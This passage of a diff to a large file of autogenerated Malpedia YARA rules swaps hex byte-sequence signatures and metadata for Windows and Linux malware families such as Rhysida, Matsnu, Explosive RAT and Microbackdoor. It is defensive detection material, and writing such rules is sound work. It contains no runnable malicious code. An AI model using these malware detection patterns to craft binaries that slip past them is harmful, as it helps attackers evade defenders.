+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xiangoop"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.xiangoop_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "e4de93852a1879de4977ea1cd375165f9dcf6c32de8c352e98b35973d623758e"
+		logic_hash = "94fbd52db4d5481176ad7bfd7bb74c96cb0ad2e3aa8f7b123dd0955d4f95f88c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -173652,32 +180711,32 @@ rule MALPEDIA_Win_Matsnu_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e9???????? 8985bcfbffff 83bdb0fbffff01 0f8588000000 8b85bcfbffff 8985c4fbffff 8b85c0fbffff }
-		$sequence_1 = { eb04 c647023d 837d1003 7213 }
-		$sequence_2 = { eb04 c647023d 837d1003 7213 31c0 8a4602 243f }
-		$sequence_3 = { 8b45e0 3b450c 0f8391000000 c745e800000000 }
-		$sequence_4 = { 750f c785a4fbffff02000000 e9???????? 8985bcfbffff 83bdb0fbffff01 0f8588000000 8b85bcfbffff }
-		$sequence_5 = { 85c0 0f84a6000000 8945fc 8b45e0 3b450c }
-		$sequence_6 = { c78570f3ffff00000000 c78574f3ffff00000000 c78578f3ffff00000000 c7857cf3ffff00000000 }
-		$sequence_7 = { 751d ff45da ba00000000 8b45da }
-		$sequence_8 = { 3b45ba 7228 8b7d08 8b4704 3b45ba 751d }
-		$sequence_9 = { 89e5 81ec18020000 c785e8fdffff00000000 c785ecfdffff00000000 c785f0fdffff00000000 }
+		$sequence_0 = { b801000000 d1e0 8b55f4 0fb6440208 25ff000000 }
+		$sequence_1 = { c1e903 8d540906 8b4508 8990e0010000 c745ec00000000 8b4d08 }
+		$sequence_2 = { ebe3 8b45f0 8b0c85a8b00110 8b45ec 807c082800 }
+		$sequence_3 = { c1e008 0bc8 ba01000000 6bc203 8b550c 0fb644020c 25ff000000 }
+		$sequence_4 = { 8955c8 6804010000 8d85bcfdffff 50 8b4dc8 }
+		$sequence_5 = { 81e2ff000000 b801000000 6bc800 8b4510 8854080c 8b4dec }
+		$sequence_6 = { c3 b001 c3 c705????????80a50110 b001 c3 68???????? }
+		$sequence_7 = { 8b45fc 8b4dfc 034804 894dfc e9???????? b801000000 8be5 }
+		$sequence_8 = { 890c02 8b45ec 83c001 8945ec 837dec08 7502 }
+		$sequence_9 = { 8b45f4 83c028 8945f4 ebcb }
 
 	condition:
-		7 of them and filesize <606992
+		7 of them and filesize <246784
 }
-rule MALPEDIA_Win_Rhysida_Auto : FILE
+rule MALPEDIA_Win_Felismus_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "64a6dc82-3050-56af-987a-eca5c9c0ccdc"
+		id = "5818ed3f-2431-5f26-88a0-82a8f566adf3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rhysida"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rhysida_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.felismus"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.felismus_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "c700e285aaa62eb845c4c4a22ba3b4990a79a21d47e9845ba892bd45fa758d74"
+		logic_hash = "dea5875d596c4ef87d002c63282ac83d0f7df95527f5e0d6e66faa21ccc2e20e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -173691,32 +180750,32 @@ rule MALPEDIA_Win_Rhysida_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ba28000000 4889c1 e8???????? 8945f8 837df800 7407 b804000000 }
-		$sequence_1 = { 4863d0 488b4510 4801d0 0fb600 0fb6c0 8b55f4 c1ea06 }
-		$sequence_2 = { f6431920 0f84c7feffff 4983c101 e9???????? 4531c0 4889f2 89e9 }
-		$sequence_3 = { 8b45fc 4863c8 4889c8 48c1e002 4801c8 48c1e003 4889c1 }
-		$sequence_4 = { baafa96e5e 89c8 f7ea c1fa0b 89c8 c1f81f 29c2 }
-		$sequence_5 = { 8b45f8 4863d0 488b4510 4801d0 0fb600 0fb6d0 8b45f8 }
-		$sequence_6 = { e8???????? eb01 90 8b45f0 0faf45b8 89c2 488d45a0 }
-		$sequence_7 = { 85c0 74da 85db 4889742428 0f848d010000 8d4bff 488d742460 }
-		$sequence_8 = { c1e903 f348ab ff15???????? 83f812 7472 488b8b38020000 e8???????? }
-		$sequence_9 = { 5f 5d 415c 415d c3 b80d000000 ebd7 }
+		$sequence_0 = { ff15???????? 8b35???????? 83c404 53 ffd6 8b442410 }
+		$sequence_1 = { 8b4e08 8b560c 89442418 8b4610 894c241c 89442424 }
+		$sequence_2 = { 89542410 8b5110 56 2be8 57 89542420 bb01000000 }
+		$sequence_3 = { 8d5640 8bfa f3ab 8b4618 33c9 85c0 7e24 }
+		$sequence_4 = { 66ab aa b940000000 33c0 8dbc24b1050000 }
+		$sequence_5 = { 85c0 740f 8d8c2414010000 68???????? 51 eb0d 8d942414010000 }
+		$sequence_6 = { 8b442424 50 56 ff15???????? 56 ff15???????? 83f8ff }
+		$sequence_7 = { 7cd0 8b461c 8bce 50 e8???????? 8b7e1c }
+		$sequence_8 = { 51 8bfb 83c9ff 33c0 895514 f2ae f7d1 }
+		$sequence_9 = { 83c408 85ff 742b 57 ff15???????? 83f816 7e1f }
 
 	condition:
-		7 of them and filesize <2369536
+		7 of them and filesize <204800
 }
-rule MALPEDIA_Win_Cadelspy_Auto : FILE
+rule MALPEDIA_Win_Dubrute_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4b5e300d-757a-5fee-8d04-bdd6cbf72a64"
+		id = "91c95b88-1aba-547d-a2e7-1c5fddf4a9b5"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cadelspy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cadelspy_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dubrute"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dubrute_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "7f3bdf0fe810a37a01bcc3fbdfdc1fe97ab8b02a604549fa04a7da715441b0c6"
+		logic_hash = "96123f7850603b9e3ec4473b7e8755ea7a00903c8750eba6148228fb5b3de4ca"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -173730,32 +180789,32 @@ rule MALPEDIA_Win_Cadelspy_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? c7042408020000 33f6 56 ff7514 e8???????? 83c40c }
-		$sequence_1 = { e8???????? 68???????? 8d9c2464020000 e8???????? 6828020000 }
-		$sequence_2 = { 46 66833e5c 74f8 8bc6 8d5002 }
-		$sequence_3 = { 59 59 85c0 7524 837d8c05 }
-		$sequence_4 = { ff15???????? ff75fc 8bd8 ff15???????? 5e 8bc3 5b }
-		$sequence_5 = { 57 33ff 893a 8d4802 668b30 40 }
-		$sequence_6 = { 8b0c8d004c0110 83e01f c1e006 8d440124 }
-		$sequence_7 = { 741b 8b07 8bc8 c1f905 83e01f c1e006 8b0c8d004c0110 }
-		$sequence_8 = { 8d442418 50 e8???????? eb0b 50 }
-		$sequence_9 = { 7507 e8???????? eb5f 57 8b7d08 85ff 750a }
+		$sequence_0 = { 8d45dc dd5de4 50 c645fc0d ff15???????? 8d4df0 c645fc08 }
+		$sequence_1 = { 83c410 83f8ff 743b 85c0 741c 03f0 56 }
+		$sequence_2 = { 83e906 7426 49 741a 49 740e 49 }
+		$sequence_3 = { 7427 48 7413 48 48 7551 57 }
+		$sequence_4 = { 5e 5d c3 8b4c2408 81f9ff000000 7e1b 8b442404 }
+		$sequence_5 = { e8???????? 83c410 ff866c090000 5e c3 55 8bec }
+		$sequence_6 = { 7520 8b06 8b4018 8b00 ff30 e8???????? 6a06 }
+		$sequence_7 = { 57 53 ff15???????? 8b3d???????? 8325????????00 8b37 3bf7 }
+		$sequence_8 = { 56 53 68???????? e8???????? 83c40c 837d1400 }
+		$sequence_9 = { 8a48ff 884e01 83c603 837df000 7fd4 e9???????? f745f0f8ffffff }
 
 	condition:
-		7 of them and filesize <204800
+		7 of them and filesize <598016
 }
-rule MALPEDIA_Win_Abaddon_Pos_Auto : FILE
+rule MALPEDIA_Win_Explosive_Rat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8a8bfe7b-07a3-507a-8985-62178b8d7d5d"
+		id = "863a5681-ec58-58c3-aa41-9d8844c2c73c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.abaddon_pos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.abaddon_pos_auto.yar#L1-L170"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.explosive_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.explosive_rat_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "e2d8547af0d263d117f46abc9755b5a7e9f77ec4346ade26de1285350cf4f083"
+		logic_hash = "e75d842c394fc045ddd0745106b1430d3dd968c3b7d21e3af7bbb4c3b56a96a4"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -173769,38 +180828,32 @@ rule MALPEDIA_Win_Abaddon_Pos_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7402 eb27 8b8600010000 03860c010000 89867c010000 8b8684010000 }
-		$sequence_1 = { ba00000000 eb05 ba01000000 0186ac010000 }
-		$sequence_2 = { 80beb801000001 751b 80fa30 7205 80fa39 7605 80fa20 }
-		$sequence_3 = { 41 89c0 49 c7c100000000 ff15???????? 48 83c420 }
-		$sequence_4 = { 48 8986d0050000 48 83ec20 48 c7c100000000 }
-		$sequence_5 = { 89d8 69c080000000 3d002d0000 7602 eb22 }
-		$sequence_6 = { 7318 807c1e2c41 720c 807c1e2c5a }
-		$sequence_7 = { 81bea001000000dc0500 740c 81bea001000000d60600 7508 6a05 ff15???????? 8b86a0010000 }
-		$sequence_8 = { 31c9 31d2 80beb401000001 7505 }
-		$sequence_9 = { ffc3 ebd1 48 31db }
-		$sequence_10 = { 8986b0050000 48 83ec20 48 8b8eb0050000 48 }
-		$sequence_11 = { 0504d00700 48 8986c8050000 48 0504d00700 48 8986d0050000 }
-		$sequence_12 = { 83f800 7502 ebe4 50 ff15???????? 6a00 6a00 }
-		$sequence_13 = { 83c000 48 8b9eb8050000 48 8918 48 }
-		$sequence_14 = { 0500040000 3b19 730f 311418 }
-		$sequence_15 = { 720b 803939 7706 fe86a8010000 }
+		$sequence_0 = { 8945c4 8b4514 8945c8 7611 33c0 8a03 8d4dc4 }
+		$sequence_1 = { 7445 6a03 8bc7 e8???????? 8b8648af0100 8bae44af0100 83c00a }
+		$sequence_2 = { 66832300 33c0 c9 c3 85c0 7515 }
+		$sequence_3 = { eb60 807e0400 7507 8bce e8???????? 807e0530 7c62 }
+		$sequence_4 = { 53 55 8b6c2448 8b4d04 8b4104 56 8bf1 }
+		$sequence_5 = { 85ed 75e5 83f808 896b14 720f 8b4304 5f }
+		$sequence_6 = { 68???????? 51 e8???????? 8b4c2468 8b7c245c 50 8b442470 }
+		$sequence_7 = { 8b442430 83c408 3bc7 720d 8b4c2414 51 e8???????? }
+		$sequence_8 = { 8d5dd0 e8???????? 46 ebb8 b8???????? e8???????? be???????? }
+		$sequence_9 = { 89ae88af0600 8bfa 7d2e 8a5c0aff 8a140a 885c241c 8854240f }
 
 	condition:
-		7 of them and filesize <40960
+		7 of them and filesize <855040
 }
-rule MALPEDIA_Win_Pslogger_Auto : FILE
+rule MALPEDIA_Win_Croxloader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "15c6e79e-2171-5604-b7eb-21f0a1c9eae7"
+		id = "4c54923c-05d0-5bcf-b03e-4330bb61dd7a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pslogger"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pslogger_auto.yar#L1-L171"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.croxloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.croxloader_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "8992cc308f36218b8fec7cd3351151cd41f7bbe9e5dc91614732d13ffd45e45b"
+		logic_hash = "c88e829bb61a0a12fc0c92bdb08f88ad90c78cd22176146404aa71918162c3b2"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -173814,38 +180867,32 @@ rule MALPEDIA_Win_Pslogger_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7463 488bc8 e8???????? 8bc8 e8???????? 85c0 }
-		$sequence_1 = { 488d8c2480030000 e8???????? 488d542420 488bcd }
-		$sequence_2 = { e8???????? e9???????? 4c8bc5 33d2 488bc8 }
-		$sequence_3 = { b9b80b0000 e8???????? 33d2 41b8b80b0000 488bc8 4c8be0 e8???????? }
-		$sequence_4 = { 57 4883ec20 488b19 488bf9 483b5908 7418 }
-		$sequence_5 = { 483bc8 740e 4885c9 7406 ff15???????? }
-		$sequence_6 = { e9???????? 8d4601 4863e8 488bcd }
-		$sequence_7 = { e8???????? b9b80b0000 e8???????? 33d2 }
-		$sequence_8 = { 85c0 0f844c030000 83f826 7603 6a26 58 0fb60c85d64b4200 }
-		$sequence_9 = { 6a00 53 e8???????? ffb5e0feffff 56 ffb5e4feffff 68???????? }
-		$sequence_10 = { 8b7c2410 2bd6 83c7fe 668b4702 }
-		$sequence_11 = { 7504 8816 eb3e c6060d 8b048d88b14200 8854382a }
-		$sequence_12 = { c1fa06 6bc830 8b049588b14200 8a440828 a848 7404 33c0 }
-		$sequence_13 = { 894606 8d4594 50 8d4676 }
-		$sequence_14 = { 6bf830 894df8 6a0a 8b048d88b14200 5b 8b543818 8955ec }
-		$sequence_15 = { 8b049d88b14200 8945d8 85c0 7553 e8???????? 89049d88b14200 }
+		$sequence_0 = { 488d0dd0590100 eb0c 83f901 750d 488d0dda590100 }
+		$sequence_1 = { 498b84ff18910100 90 493bc6 0f84eb000000 4885c0 }
+		$sequence_2 = { 4883ec20 488364243800 4c8d442438 8bd9 488d157aa80000 33c9 }
+		$sequence_3 = { 4b8b84e010970100 42804cf03d04 38558f ebcc ff15???????? }
+		$sequence_4 = { 488d0d09520100 e8???????? 488d0d05520100 e8???????? 488b0d???????? e8???????? 488b0d???????? }
+		$sequence_5 = { 4883f9ff 7406 ff15???????? 48832300 4883c308 488d05fc240100 }
+		$sequence_6 = { 4c8d0562eb0000 83e23f 488bcb 48c1f906 488d14d2 498b0cc8 8064d138fd }
+		$sequence_7 = { 8938 e8???????? 488d1db32f0100 4885c0 }
+		$sequence_8 = { 4c8d05c9890100 ba920e0332 b95595db6d e8???????? 4c8d05038a0100 ba436a459e b9edb0da1e }
+		$sequence_9 = { 3b1d???????? 736a 488bc3 4c8d35de000100 83e03f 488bf3 48c1fe06 }
 
 	condition:
-		7 of them and filesize <475136
+		7 of them and filesize <241664
 }
-rule MALPEDIA_Win_Qaccel_Auto : FILE
+rule MALPEDIA_Win_Nvisospit_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1dd927f1-4f29-5825-9031-a85900b0d7a3"
+		id = "824469e0-98f2-5eab-b839-ba6db77c2d16"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.qaccel"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.qaccel_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nvisospit"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nvisospit_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "fe81ee4455e2d861af0930707bfdb209646482eb98d90e9c040e2aaf3beb1c92"
+		logic_hash = "385fb86660d71ea6f219554af1885e2ee67e8307dd338d6dbd8b2f326f4be091"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -173859,34 +180906,34 @@ rule MALPEDIA_Win_Qaccel_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 68???????? 50 64892500000000 56 57 8bf9 0f8816000000 }
-		$sequence_1 = { 5f 5f 5f 5f 5f b801000000 5e }
-		$sequence_2 = { 53 03c6 51 50 c7450c00000000 }
-		$sequence_3 = { 83cbff 0f8819000000 0f8913000000 5f 5f 5f 5f }
-		$sequence_4 = { 8b4020 6a05 50 ffd6 50 e8???????? 8b4820 }
-		$sequence_5 = { 8d55e8 51 52 ff15???????? 8b45fc 8b4df8 6a00 }
-		$sequence_6 = { 50 ffd6 50 e8???????? 0fbe4dff 8b5020 6801001c00 }
-		$sequence_7 = { 5f 5f 5f 68???????? ff15???????? 85c0 }
-		$sequence_8 = { 5f 5f 5f 5f 6a00 50 }
-		$sequence_9 = { 5f 5f 5f 66a1???????? 8b3d???????? 6800010000 668903 }
+		$sequence_0 = { 83f801 0f851e010000 8d710c 81fe???????? 0f8350feffff 895dbc }
+		$sequence_1 = { a1???????? ffd0 83ec04 0fb785a2f9ffff 0fb7c0 8d959cf9ffff 89542410 }
+		$sequence_2 = { c70424???????? e8???????? 85db c705????????02000000 0f85d1fdffff }
+		$sequence_3 = { a1???????? 31c9 c705????????00004000 8b00 85c0 }
+		$sequence_4 = { 89442404 c70424???????? e8???????? 0fb785a8f9ffff }
+		$sequence_5 = { 0f8e16010000 85d2 0f8493010000 b9???????? 81f9???????? }
+		$sequence_6 = { 0fb7c0 8d959cf9ffff 89542410 c744240c00000000 8d958ef9ffff 89542408 }
+		$sequence_7 = { 83ec0c 8945bc 8b45bc 89442404 }
+		$sequence_8 = { e8???????? c7442404b0feffff c70424???????? e8???????? c7442404ccffffff c70424???????? }
+		$sequence_9 = { 8d9dacfbffff 81c307010000 895c2414 8d9dacfbffff 83c306 895c2410 894c240c }
 
 	condition:
-		7 of them and filesize <106496
+		7 of them and filesize <66560
 }
-rule MALPEDIA_Elf_Gobrat_Auto : FILE
+rule MALPEDIA_Win_Linseningsvr_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4556c50c-642d-5e08-a37f-0bca17aca318"
+		id = "acba9094-ad6f-5dc3-983b-34f0b25c68ba"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.gobrat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/elf.gobrat_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.linseningsvr"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.linseningsvr_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "d983e645d32d0df64baf254a8f8a69a3323d191b1dd7ae64a36bbf4746335d3e"
-		score = 60
-		quality = 35
+		logic_hash = "2644e1e1ca2803e3e5ff6eb23f753be414d9d9a67fa2dca1bfd8c0b76cd44619"
+		score = 75
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -173898,32 +180945,32 @@ rule MALPEDIA_Elf_Gobrat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 48833800 0f8f28020000 488b942428010000 4885d2 7508 e8???????? }
-		$sequence_1 = { 84c0 745c 488b542430 488b5a30 488b742428 488b4630 488b4e38 }
-		$sequence_2 = { c644242903 488d055aca3200 488d5c2418 e8???????? 4889c3 488d0546ca3200 e8???????? }
-		$sequence_3 = { eb41 488d059c311e00 e8???????? 48c740081c000000 488d0d39a62300 488908 31db }
-		$sequence_4 = { e8???????? 488b942460020000 488b7218 48897020 48837a7000 7542 488d1df7fc3200 }
-		$sequence_5 = { c3 31c0 488b6c2478 4883ec80 c3 488b8c2488000000 488b4110 }
-		$sequence_6 = { f7da 410fafd1 89d2 480fafd3 48c1ea2f 4489c6 41c1e008 }
-		$sequence_7 = { ffd2 b91a000000 4889c7 4889de 31c0 488d1dd7ce2d00 e8???????? }
-		$sequence_8 = { b825010000 e8???????? 4885c9 745d 4883f902 7712 753c }
-		$sequence_9 = { e8???????? 48c7400822000000 488d0de4212200 488908 31db 4889d9 488d3d244d2a00 }
+		$sequence_0 = { 81c4cc0d0000 c3 68ffffff7f 56 ff15???????? 83f8ff }
+		$sequence_1 = { 5d b801000000 5b 81c4cc0d0000 }
+		$sequence_2 = { 8b4c2428 6a24 8d542464 6a01 52 89442464 }
+		$sequence_3 = { 7e16 8b742414 8bd1 8d7c1f18 c1e902 f3a5 8bca }
+		$sequence_4 = { f6c202 7410 8088????????20 8a9405ecfcffff ebe3 80a0808b400000 40 }
+		$sequence_5 = { 0f858b030000 33c9 8acc 3ac8 }
+		$sequence_6 = { 55 6800010000 8d942464040000 6a01 52 e8???????? }
+		$sequence_7 = { 8acc 3ac8 0f857f030000 33d2 55 89542432 }
+		$sequence_8 = { 66895c2411 89442419 885c2418 8944241d 89442421 6689442425 88442427 }
+		$sequence_9 = { 7514 ff15???????? 50 68???????? e8???????? 83c408 55 }
 
 	condition:
-		7 of them and filesize <12853248
+		7 of them and filesize <81360
 }
-rule MALPEDIA_Win_Joao_Auto : FILE
+rule MALPEDIA_Win_Isspace_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d37cc5ea-3d73-5336-a732-17564803dcb9"
+		id = "6de2cc9e-3c1b-5d82-85e8-a409082de585"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.joao"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.joao_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.isspace"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.isspace_auto.yar#L1-L100"
 		license_url = "N/A"
-		logic_hash = "86dd7ba6af2ece0f6d3df07328920c1e2520bb8d3e325d921ed8a0a42914959d"
+		logic_hash = "e463ab51553d0208df8251abb329c162f866232bb82c29826d5e55ecd0eb426f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -173937,32 +180984,30 @@ rule MALPEDIA_Win_Joao_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bce 897dfc e8???????? 837de810 c745fcffffffff 720c 8b45d4 }
-		$sequence_1 = { 8b4e08 2b0e c1f905 3bc8 }
-		$sequence_2 = { 8d4dd0 51 8bce 897dfc e8???????? }
-		$sequence_3 = { 50 6a0f 68???????? e8???????? 8b5510 8d8df8feffff }
-		$sequence_4 = { 8b4804 8b4c3138 c645ef01 4b }
-		$sequence_5 = { 8d45f8 50 8bce c745f809000000 897dfc e8???????? 8d4df8 }
-		$sequence_6 = { e8???????? 8b4604 83e7e0 033e }
-		$sequence_7 = { 8b4c3224 8b443220 c645fc03 85c9 7c15 7f04 }
-		$sequence_8 = { 8d4dd4 e8???????? 8d4dd0 51 8bce 897dfc e8???????? }
-		$sequence_9 = { 8b4e08 2b0e c1f905 3bc8 736a 8d7e0c 50 }
+		$sequence_0 = { 57 50 8d45f0 64a300000000 8965e8 c745fc00000000 c785505cffff00a20000 }
+		$sequence_1 = { 46 8bc6 c1e004 03c6 }
+		$sequence_2 = { ff15???????? 50 eb05 68???????? 68???????? ff15???????? }
+		$sequence_3 = { 6800010000 8d8600010000 6a00 50 e8???????? 83c418 8bc6 }
+		$sequence_4 = { e8???????? 83c418 83c60a 56 }
+		$sequence_5 = { 85c0 7507 68???????? eb04 83c007 }
+		$sequence_6 = { c78548ffffff9c000000 e8???????? 8ad8 c745fc00000000 }
+		$sequence_7 = { eb0a 6a00 6a23 eb04 6a00 }
 
 	condition:
-		7 of them and filesize <2867200
+		7 of them and filesize <434176
 }
-rule MALPEDIA_Win_Mikoponi_Auto : FILE
+rule MALPEDIA_Win_Microbackdoor_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e1f9d663-47fc-536a-afed-a18f76559a32"
+		id = "32768709-e0c4-568e-99b5-4d92498e8c97"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mikoponi"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mikoponi_auto.yar#L1-L105"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.microbackdoor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.microbackdoor_auto.yar#L1-L174"
 		license_url = "N/A"
-		logic_hash = "e53726bff6b275a8cbfe6479d201a659d381061025ff16663204532183241afc"
+		logic_hash = "d87bae84a1434eb391a7ebc0d4af12aee586692c39928b7bf8d060b1c97f49c6"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -173976,30 +181021,38 @@ rule MALPEDIA_Win_Mikoponi_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b0f 51 e8???????? 83c404 5d 5f 83c408 }
-		$sequence_1 = { e8???????? 83c404 eb15 8d942464020000 52 8d442418 }
-		$sequence_2 = { 33ed 391d???????? 743d bf???????? }
-		$sequence_3 = { b9???????? 66895010 c7004418a150 e8???????? 8d3c47 }
-		$sequence_4 = { 53 55 e8???????? 83c40c 84c0 7506 83c3ff }
-		$sequence_5 = { 803d????????01 56 7527 8b742408 56 ff15???????? }
-		$sequence_6 = { e8???????? 81c470040000 c3 8b542430 3b542420 750e }
-		$sequence_7 = { 7543 3805???????? 753b 8d8c2464020000 51 68???????? }
+		$sequence_0 = { 0fb74510 50 ff750c ff15???????? }
+		$sequence_1 = { ffd7 eb06 ff15???????? 8bc6 eb06 }
+		$sequence_2 = { 488bcd 418bdc 4d8bfc e8???????? 85db 755b 488d842478020000 }
+		$sequence_3 = { 8939 488d4c2430 41b89c000000 e8???????? 488d4c2430 }
+		$sequence_4 = { 74df 8d047506000000 50 6a40 ff15???????? 8bc8 894d0c }
+		$sequence_5 = { 85c0 751d 837c247001 7516 395c2478 7610 488b4c2430 }
+		$sequence_6 = { 4885db 7417 0fb7445ffe 6683f85c 7406 6683f82f }
+		$sequence_7 = { 498bce 33f6 e8???????? 85ed }
+		$sequence_8 = { 498bce 4489bc2488000000 453bc4 4c897c2420 }
+		$sequence_9 = { 56 6a00 6a00 68???????? ff75f8 ff15???????? 85c0 }
+		$sequence_10 = { ff15???????? 8d4336 50 6a40 ff15???????? 8bf8 }
+		$sequence_11 = { 8bf8 897dd4 85ff 7498 837df800 b9???????? 8b5dfc }
+		$sequence_12 = { ff15???????? 488bd8 4885c0 7512 ff15???????? 488d0d503e0000 }
+		$sequence_13 = { 8bf8 e9???????? 33c0 40 e9???????? ff15???????? }
+		$sequence_14 = { 83feff 743b 8b4d0c ff7510 894df4 ff15???????? 668945f2 }
+		$sequence_15 = { 85c0 0f84bb010000 66833d????????00 0f84ad010000 }
 
 	condition:
-		7 of them and filesize <330752
+		7 of them and filesize <123904
 }
-rule MALPEDIA_Win_Jaff_Auto : FILE
+rule MALPEDIA_Win_Loup_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "05c08a02-2b7b-5977-8a51-2a2090077d3b"
+		id = "f9d1b576-d285-5231-afcb-2e4f16800d77"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jaff"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.jaff_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.loup"
